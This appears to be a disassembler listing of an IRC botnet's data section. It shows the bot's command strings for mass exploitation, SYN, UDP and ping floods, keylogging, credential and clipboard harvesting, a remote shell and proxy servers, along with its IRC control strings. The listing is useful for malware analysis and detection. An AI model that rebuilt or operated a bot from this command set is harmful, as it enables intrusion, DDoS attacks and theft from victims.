aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40CE55+18D6o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40CE55+18BFo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: sub_40CE55+18A8o
		align 10h
aEnz_raw	db 'enz.raw',0          ; DATA XREF: sub_40CE55+1891o
aEnz_pt		db 'enz.pt',0           ; DATA XREF: sub_40CE55+187Ao
		align 10h
aEnz_part	db 'enz.part',0         ; DATA XREF: sub_40CE55+1863o
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: sub_40CE55+184Co
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: sub_40CE55+1835o
		align 10h
aEnz_n		db 'enz.n',0            ; DATA XREF: sub_40CE55+181Eo
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: sub_40CE55+1807o
		align 4
aVall		db 'vall',0             ; DATA XREF: sub_40CE55+17E1o
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: sub_40CE55+17CCo
		align 10h
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: sub_40CE55+17B7o
		align 10h
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: sub_40CE55+17A2o
		align 10h
aServer_web_on	db 'server.web.on',0    ; DATA XREF: sub_40CE55+178Do
		align 10h
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: sub_40CE55+1778o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: sub_40CE55+1763o
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: sub_40CE55+174Eo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40CE55+1739o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40CE55+1724o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40CE55+170Fo
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40CE55+16FAo
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: sub_40CE55+16E5o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: sub_40CE55+16D0o
dword_435C68	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+16BFo
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40CE55+168Bo
					; sub_415050+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40CE55+167Eo
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40CE55+165Co
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: sub_40CE55+1643o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40CE55+1638o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40CE55+1633o
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: sub_40CE55+161Ao
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: sub_40CE55+1605o
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: sub_40CE55+15F0o
aBox_dll	db 'box.dll',0          ; DATA XREF: sub_40CE55+15DBo
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: sub_40CE55+15C6o
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: sub_40CE55+15B1o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: sub_40CE55+159Co
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: sub_40CE55+1587o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: sub_40CE55+1572o
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: sub_40CE55+155Do
aBox_harvest	db 'box.harvest',0      ; DATA XREF: sub_40CE55+1548o
aBox_ps		db 'box.ps',0           ; DATA XREF: sub_40CE55+1533o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: sub_40CE55+151Eo
		align 10h
aEnz_b3g	db 'enz.b3g',0          ; DATA XREF: sub_40CE55+1509o
aEnz_beg0ne	db 'enz.beg0ne',0       ; DATA XREF: sub_40CE55+14F4o
		align 4
aBox_si		db 'box.si',0           ; DATA XREF: sub_40CE55+14DFo
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: sub_40CE55+14CAo
aBox_ni		db 'box.ni',0           ; DATA XREF: sub_40CE55+14B5o
		align 10h
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: sub_40CE55+14A0o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40CE55+148Bo
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40CE55+1476o
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: sub_40CE55+1461o
		align 10h
aEnz_log	db 'enz.log',0          ; DATA XREF: sub_40CE55+144Co
aEnz_al		db 'enz.al',0           ; DATA XREF: sub_40CE55+1437o
		align 10h
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: sub_40CE55+1422o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40CE55+140Do
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40CE55+13F8o
		align 4
dword_435E08	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+13C4o
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 10h
dword_435E40	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+13BDo
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: sub_40CE55+13A6o
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: sub_40CE55+1391o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: sub_40CE55+137Co
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: sub_40CE55+1367o
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: sub_40CE55+1352o
		align 10h
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: sub_40CE55+133Do
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: sub_40CE55+1328o
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: sub_40CE55+1313o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: sub_40CE55+12FEo
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: sub_40CE55+12E9o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: sub_40CE55+12D4o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: sub_40CE55+12BFo
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: sub_40CE55+12AAo
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40CE55+129Fo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40CE55+129Ao
		align 10h
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: sub_40CE55+1281o
		align 4
dword_435F1C	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40CE55+1276o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40CE55+1271o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40CE55+1258o
		align 4
dword_435F44	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40CE55+124Do
aClone		db 'Clone',0            ; DATA XREF: sub_40CE55+1248o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40CE55+122Fo
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: sub_40CE55+121Ao
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: sub_40CE55+1205o
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: sub_40CE55+11F0o
		align 10h
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: sub_40CE55+11DBo
		align 4
dword_435FA4	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40CE55+11D0o
aServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: sub_40CE55+11B2o
dword_435FC0	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40CE55+11A7o
dword_435FCC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+11A2o
dword_435FD8	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40CE55+1189o
dword_435FE8	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40CE55+117Eo
dword_435FF4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1179o
dword_436000	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40CE55+1160o
dword_436010	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40CE55+1155o
dword_43601C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1150o
dword_436028	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40CE55+1137o
dword_436038	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+112Co
dword_436044	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+1127o
dword_436050	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40CE55+110Eo
dword_43605C	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40CE55+1103o
dword_43606C	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40CE55+10FEo
aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: sub_40CE55+10E5o
dword_436090	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40CE55+10DAo
dword_43609C	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40CE55+10D5o
dword_4360A8	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40CE55+10BCo
dword_4360B0	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40CE55+10B4o
dword_4360BC	dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: sub_40CE55+1096o
dword_4360CC	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40CE55+108Eo
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: sub_40CE55+1070o
		align 10h
dword_4360F0	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40CE55+104Eo
aServer		db 'Server',0           ; DATA XREF: sub_40CE55+1049o
					; sub_40CE55+1089o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: sub_40CE55+1030o
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: sub_40CE55+101Bo
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: sub_40CE55+1006o
		align 10h
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40CE55+FF1o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40CE55+FDCo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40CE55+FC7o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40CE55+FB2o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: sub_40CE55+F9Do
aEnz_version	db 'enz.version',0      ; DATA XREF: sub_40CE55+F88o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: sub_40CE55+F73o
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: sub_40CE55+F5Eo
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: sub_40CE55+F49o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: sub_40CE55+F34o
aEnz_rn		db 'enz.rn',0           ; DATA XREF: sub_40CE55+F1Fo
		align 10h
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: sub_40CE55+F07o
a63		db '63',0               ; DATA XREF: sub_40CE55+DE0o
		align 10h
asc_4361C0:				; DATA XREF: sub_40CE55+DB8o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40CE55+D7Bo
		align 4
aServer_2	db '$server',0          ; DATA XREF: sub_40CE55+D70o
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40CE55+D5Fo
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40CE55+D43o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40CE55+D32o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40CE55+D20o
aD_0		db '$%d',0              ; DATA XREF: sub_40CE55+CB2o
aD_1		db '$%d-',0             ; DATA XREF: sub_40CE55+BF7o
		align 10h
aHi_0		db 'hi',0               ; DATA XREF: sub_40CE55+B1Fo
		align 4
aNewshit	db 'newshit',0          ; DATA XREF: sub_40CE55+B07o
dword_43620C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AD5o
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_436250	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AC7o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_436294	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AB9o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_26	db '  Failed to start chat thread, error: <%d>.',0
dword_4362DC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+A4Ao
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_40CE55+9B3o
		align 4
dword_436318	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+996o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_43636C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+978o
					; sub_40CE55+4733o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start transfer thread, error: <%d>.',0
dword_4363B8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40CE55+967o
		dd 0A0Dh
dword_4363D0	dd 4E495001h, 47h	; DATA XREF: sub_40CE55+933o
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40CE55+8EDo
		align 4
dword_4363F4	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40CE55+8D3o
		dd 0D017325h, 0Ah
dword_436410	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40CE55+8A2o
dword_43641C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+788o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40CE55+6E5o
		align 4
dword_436464	dd 43434401h, 0		; DATA XREF: sub_40CE55+6C7o
dword_43646C	dd 323333h		; DATA XREF: sub_40CE55+64Eo
					; sub_40CE55+B41o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40CE55+62Co
					; sub_412D4C+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40CE55+620o
					; sub_412D4C+16o
dword_436480	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5CFo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4364B4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A8o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40CE55+571o
aPart		db 'PART',0             ; DATA XREF: sub_40CE55+523o
					; sub_40CE55+5ECo
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40CE55+4FBo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40CE55+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+36Eo
					; sub_40CE55+610o
dword_436514	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+355o
					; sub_40CE55+5A5Do ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40CE55+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+28Do
					; sub_40CE55+4AEBo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40CE55+265o
a302		db '302',0              ; DATA XREF: sub_40CE55+22Ao
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1E4o
					; sub_40CE55+3B4o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_40CE55+1A9o
		align 4
asc_436588	db ' :',0               ; DATA XREF: sub_40CE55+86o
					; sub_40CE55:loc_40D9EEo
		align 4
dword_43658C	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412B98+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365D8	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_412B98+E3o
; ---------------------------------------------------------------------------

loc_4365F4:				; DATA XREF: sub_412B98+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_436608	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412B98+13Fo
dword_43661C	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_412D4C+58o
off_436628	dd offset aAdd		; DATA XREF: sub_412DE7+6Dr
					; sub_4131CB+50r ...
					; "Add"
off_43662C	dd offset aAdded	; DATA XREF: sub_412DE7+2Dr
					; sub_4131CB+82r ...
					; "Added"
dword_436630	dd 0			; DATA XREF: sub_412DE7+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		dd 0
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43669Ch, 436694h,	2, 436688h, 43667Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg000:0043665Co
aStop_0		db 'Stop',0             ; DATA XREF: seg000:00436658o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg000:00436650o
aStart_0	db 'Start',0            ; DATA XREF: seg000:0043664Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg000:00436644o
		align 4
aList_0		db 'List',0             ; DATA XREF: seg000:00436640o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg000:00436638o
aDelete_0	db 'Delete',0           ; DATA XREF: seg000:00436634o
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg000:off_43662Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg000:off_436628o
dword_4366F0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_436728	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_436764	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F10+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412F10:loc_413028o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412F10:loc_413021o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412F10:loc_41301Ao
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412F10:loc_413013o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412F10:loc_41300Co
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412F10:loc_413005o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412F10:loc_412FFEo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412F10:loc_412FF7o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412F10:loc_412FF0o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412F10:loc_412FE9o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412F10:loc_412FBEo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412F10:loc_412FB7o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412F10:loc_412FB0o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412F10:loc_412FA9o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412F10+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412F10:loc_412F7Eo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412F10:loc_412F74o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412F10:loc_412F6Ao
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412F10:loc_412F60o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412F10:loc_412F56o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0
					; DATA XREF: sub_412F10:loc_412F4Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41308E+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41308E:loc_41315Ao
aStarting	db '   Starting',0      ; DATA XREF: sub_41308E:loc_413153o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41308E:loc_41314Co
aRunning_0	db '    Running',0      ; DATA XREF: sub_41308E:loc_413145o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41308E:loc_41313Eo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41308E:loc_413137o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41308E:loc_413130o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_41308E+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41308E+25o
		align 4
dword_436CCC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_436D04	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_436D34	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C0+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4133C0+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4133C0+B5o
dword_436D94	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4133C0+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4133C0+26o
		align 4
dword_436E08	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_436E44	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436E84	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_436EB8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413627+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_413627+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_413627+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413627+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_413627+2ECo
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_413627+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_413627+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_413627+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_413627+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_413627+21Eo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_413627+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_413627+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_413627+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_413627+178o
		align 10h
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_413627+14Do
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_413627+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_413627:loc_413740o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_413627:loc_413739o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_413627+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_413627+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_413627+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_413627+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4139F5+14Fo
		align 4
dword_437078	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F5+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_4139F5+BEo
		align 10h
dword_4370C0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F5+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F5+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_413B75:loc_413C92o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_413B75:loc_413C8Bo
		align 10h
